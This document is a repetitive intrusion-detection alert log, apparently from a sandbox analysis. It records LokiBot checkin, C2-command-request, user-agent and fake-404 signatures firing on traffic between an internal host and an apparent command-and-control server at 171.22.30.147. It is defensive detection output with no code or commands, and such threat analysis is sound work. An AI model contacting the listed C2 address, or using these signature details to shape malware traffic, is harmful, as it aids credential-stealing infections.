Timestamp:	192.168.2.3171.22.30.14749991802825766 01/05/23-08:53:37.629731
SID:	2825766
Source Port:	49991
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750057802024318 01/05/23-08:53:56.743180
SID:	2024318
Source Port:	50057
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750059802025381 01/05/23-08:53:57.279795
SID:	2025381
Source Port:	50059
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750030802025381 01/05/23-08:53:49.383588
SID:	2025381
Source Port:	50030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749705802024313 01/05/23-08:52:09.363911
SID:	2024313
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749879802021641 01/05/23-08:53:03.965987
SID:	2021641
Source Port:	49879
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749919802024313 01/05/23-08:53:16.188265
SID:	2024313
Source Port:	49919
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749950802024318 01/05/23-08:53:24.624259
SID:	2024318
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750050802825766 01/05/23-08:53:54.799294
SID:	2825766
Source Port:	50050
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749807802025381 01/05/23-08:52:43.044779
SID:	2025381
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749817802825766 01/05/23-08:52:45.747633
SID:	2825766
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749773802025381 01/05/23-08:52:31.909319
SID:	2025381
Source Port:	49773
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498172025483 01/05/23-08:52:45.827002
SID:	2025483
Source Port:	80
Destination Port:	49817
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749824802024313 01/05/23-08:52:47.639113
SID:	2024313
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749950802024313 01/05/23-08:53:24.624259
SID:	2024313
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749722802825766 01/05/23-08:52:17.506386
SID:	2825766
Source Port:	49722
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749919802024318 01/05/23-08:53:16.188265
SID:	2024318
Source Port:	49919
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499422025483 01/05/23-08:53:22.531244
SID:	2025483
Source Port:	80
Destination Port:	49942
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750076802021641 01/05/23-08:54:01.789357
SID:	2021641
Source Port:	50076
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749751802021641 01/05/23-08:52:25.762510
SID:	2021641
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749905802025381 01/05/23-08:53:12.409052
SID:	2025381
Source Port:	49905
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749755802825766 01/05/23-08:52:26.961334
SID:	2825766
Source Port:	49755
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749712802025381 01/05/23-08:52:12.436257
SID:	2025381
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497552025483 01/05/23-08:52:27.042461
SID:	2025483
Source Port:	80
Destination Port:	49755
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749810802025381 01/05/23-08:52:43.863274
SID:	2025381
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499012025483 01/05/23-08:53:11.433874
SID:	2025483
Source Port:	80
Destination Port:	49901
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749975802024318 01/05/23-08:53:33.363507
SID:	2024318
Source Port:	49975
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750023802021641 01/05/23-08:53:47.546596
SID:	2021641
Source Port:	50023
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749880802024313 01/05/23-08:53:04.232334
SID:	2024313
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749762802024313 01/05/23-08:52:28.868227
SID:	2024313
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749880802024318 01/05/23-08:53:04.232334
SID:	2024318
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749975802024313 01/05/23-08:53:33.363507
SID:	2024313
Source Port:	49975
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749863802025381 01/05/23-08:52:59.703117
SID:	2025381
Source Port:	49863
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749762802024318 01/05/23-08:52:28.868227
SID:	2024318
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749958802025381 01/05/23-08:53:27.233105
SID:	2025381
Source Port:	49958
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750043802021641 01/05/23-08:53:52.949985
SID:	2021641
Source Port:	50043
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749900802025381 01/05/23-08:53:10.997847
SID:	2025381
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749748802021641 01/05/23-08:52:24.879047
SID:	2021641
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749994802025381 01/05/23-08:53:38.408241
SID:	2025381
Source Port:	49994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750019802825766 01/05/23-08:53:45.311637
SID:	2825766
Source Port:	50019
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497962025483 01/05/23-08:52:40.072266
SID:	2025483
Source Port:	80
Destination Port:	49796
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497922025483 01/05/23-08:52:38.965247
SID:	2025483
Source Port:	80
Destination Port:	49792
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749784802021641 01/05/23-08:52:36.673037
SID:	2021641
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749927802024313 01/05/23-08:53:18.426652
SID:	2024313
Source Port:	49927
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750001802024313 01/05/23-08:53:40.243949
SID:	2024313
Source Port:	50001
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749927802024318 01/05/23-08:53:18.426652
SID:	2024318
Source Port:	49927
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749781802025381 01/05/23-08:52:35.821668
SID:	2025381
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750055802825766 01/05/23-08:53:56.183544
SID:	2825766
Source Port:	50055
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498062025483 01/05/23-08:52:42.859984
SID:	2025483
Source Port:	80
Destination Port:	49806
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749925802025381 01/05/23-08:53:17.874226
SID:	2025381
Source Port:	49925
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749841802021641 01/05/23-08:52:53.743125
SID:	2021641
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750001802024318 01/05/23-08:53:40.243949
SID:	2024318
Source Port:	50001
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749837802825766 01/05/23-08:52:51.988001
SID:	2825766
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749717802025381 01/05/23-08:52:14.673219
SID:	2025381
Source Port:	49717
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749935802825766 01/05/23-08:53:20.565175
SID:	2825766
Source Port:	49935
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749988802024318 01/05/23-08:53:36.817903
SID:	2024318
Source Port:	49988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750045802025381 01/05/23-08:53:53.481872
SID:	2025381
Source Port:	50045
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750081802025381 01/05/23-08:54:03.233046
SID:	2025381
Source Port:	50081
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750034802024313 01/05/23-08:53:50.478539
SID:	2024313
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749970802024318 01/05/23-08:53:32.043326
SID:	2024318
Source Port:	49970
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750020802025381 01/05/23-08:53:45.631791
SID:	2025381
Source Port:	50020
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749771802021641 01/05/23-08:52:31.374001
SID:	2021641
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749706802024313 01/05/23-08:52:09.771973
SID:	2024313
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749804802024313 01/05/23-08:52:42.167879
SID:	2024313
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749873802825766 01/05/23-08:53:02.352866
SID:	2825766
Source Port:	49873
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499122025483 01/05/23-08:53:14.416891
SID:	2025483
Source Port:	80
Destination Port:	49912
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749914802024313 01/05/23-08:53:14.852027
SID:	2024313
Source Port:	49914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749970802024313 01/05/23-08:53:32.043326
SID:	2024313
Source Port:	49970
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750012802025381 01/05/23-08:53:43.190304
SID:	2025381
Source Port:	50012
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749938802025381 01/05/23-08:53:21.374225
SID:	2025381
Source Port:	49938
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749914802024318 01/05/23-08:53:14.852027
SID:	2024318
Source Port:	49914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749961802025381 01/05/23-08:53:29.597138
SID:	2025381
Source Port:	49961
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749706802024318 01/05/23-08:52:09.771973
SID:	2024318
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749739802024313 01/05/23-08:52:22.339123
SID:	2024313
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750034802024318 01/05/23-08:53:50.478539
SID:	2024318
Source Port:	50034
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749846802021641 01/05/23-08:52:55.097334
SID:	2021641
Source Port:	49846
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749896802025381 01/05/23-08:53:08.759564
SID:	2025381
Source Port:	49896
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749983802024318 01/05/23-08:53:35.478290
SID:	2024318
Source Port:	49983
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749988802024313 01/05/23-08:53:36.817903
SID:	2024313
Source Port:	49988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749725802025381 01/05/23-08:52:18.390674
SID:	2025381
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749983802024313 01/05/23-08:53:35.478290
SID:	2024313
Source Port:	49983
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749965802021641 01/05/23-08:53:30.671447
SID:	2021641
Source Port:	49965
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750039802024318 01/05/23-08:53:51.865723
SID:	2024318
Source Port:	50039
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750025802025381 01/05/23-08:53:48.086655
SID:	2025381
Source Port:	50025
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499642025483 01/05/23-08:53:30.482276
SID:	2025483
Source Port:	80
Destination Port:	49964
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750033802024318 01/05/23-08:53:50.199257
SID:	2024318
Source Port:	50033
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750039802024313 01/05/23-08:53:51.865723
SID:	2024313
Source Port:	50039
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749936802825766 01/05/23-08:53:20.832811
SID:	2825766
Source Port:	49936
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749738802024313 01/05/23-08:52:22.066688
SID:	2024313
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749841802825766 01/05/23-08:52:53.743125
SID:	2825766
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749932802021641 01/05/23-08:53:19.762349
SID:	2021641
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750016802025381 01/05/23-08:53:44.267939
SID:	2025381
Source Port:	50016
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750070802024318 01/05/23-08:54:00.166694
SID:	2024318
Source Port:	50070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749739802024318 01/05/23-08:52:22.339123
SID:	2024318
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749837802024318 01/05/23-08:52:51.988001
SID:	2024318
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749930802825766 01/05/23-08:53:19.220224
SID:	2825766
Source Port:	49930
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750070802024313 01/05/23-08:54:00.166694
SID:	2024313
Source Port:	50070
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749981802025381 01/05/23-08:53:34.961120
SID:	2025381
Source Port:	49981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499202025483 01/05/23-08:53:16.592848
SID:	2025483
Source Port:	80
Destination Port:	49920
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499232025483 01/05/23-08:53:17.413136
SID:	2025483
Source Port:	80
Destination Port:	49923
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750014802024313 01/05/23-08:53:43.719267
SID:	2024313
Source Port:	50014
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

